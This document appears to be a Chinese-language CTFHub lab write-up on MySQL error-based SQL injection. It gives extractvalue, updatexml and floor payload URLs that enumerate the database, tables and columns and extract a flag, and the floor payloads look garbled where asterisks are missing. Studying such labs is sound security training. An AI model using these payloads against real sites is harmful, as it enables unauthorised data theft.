判斷注入
當場景中僅僅將sql語句帶入查詢返回頁面正確,沒有返回點的時候,
需要報錯注入,用報錯的回顯。
三種方法 extractvalue() updatexml() floor()
1.extractvalue報錯注入: 0x7e就是~ 用來區分數據
里面用slect語句,不能用 union select
concat()函數
1.功能:將多個字符串連接成一個字符串。
2.語法:concat(str1, str2,...)
返回結果為連接參數產生的字符串,如果有任何一個參數為null,則返回值為null。
extractvalue報錯注入語句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql語句),0x7e))
爆數據庫名
?id=2 and extractvalue(null,concat(0x7e,(database()),0x7e))
得到數據庫名sqli
爆表名 limit 0,1是第一個數據 limit 1,1 是第二個數據
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 0,1),0x7e))
得到第一個表名news
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e))
得到第二個表名flag
爆flag表列名 table_schema:表所屬數據庫名稱 table_name:表名稱
?id=2 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e))
得到flag表中第一個字段名為flag
測試 limit 1,1 時無返回所以應該就一個字段
爆flag
?id=2 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
得到一半的flag:ctfhub{d777b4f07afe921643e72497
只顯示32位結果,很明顯顯示的flag不完全,我們需要借助mid函數來進行字符截取從而顯示32位以后的數據。
?id=2 and extractvalue(null,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))
得到最后一半flag:de0a2f07395ef8bb}
合並得到flag ctfhub{d777b4f07afe921643e72497de0a2f07395ef8bb}
和
?id=2+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
對比
合並得到flag ctfhub{d777b4f07afe921643e72497de0a2f07395ef8bb}
2.xmlupdate 和 extractvalue同理
數據庫
?id=2 and (updatexml(1,concat(0x7e,(database()),0x7e),1))
得到數據庫sqli
表名
?id=2+and+(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e),1))
得到表名flag
列名
?id=2+and+(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e),1))
得到列名flag
爆flag 注意是group_concat 列名 表名
?id=2+and+(updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1))
得到ctfhub{d777b4f07afe921643e72497
爆后一半同extractvalue方法
?id=2+and+(updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1))
合成得到ctfhub{d777b4f07afe921643e72497de0a2f07395ef8bb}
3.floor 報錯 這個比較麻煩,我直接用的hackbar自帶payload。。。
爆數據庫
+AND(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到數據庫 sqli
爆表
?id=1+AND(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出第一個表為news 修改為limit 1,1 得出為flag表
爆列名
?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x666c6167+AND+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出列名為flag
最終payload
?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到ctfhub{27b940d5fcab0bfddfc162ed1b6a95dd9b6de02d}
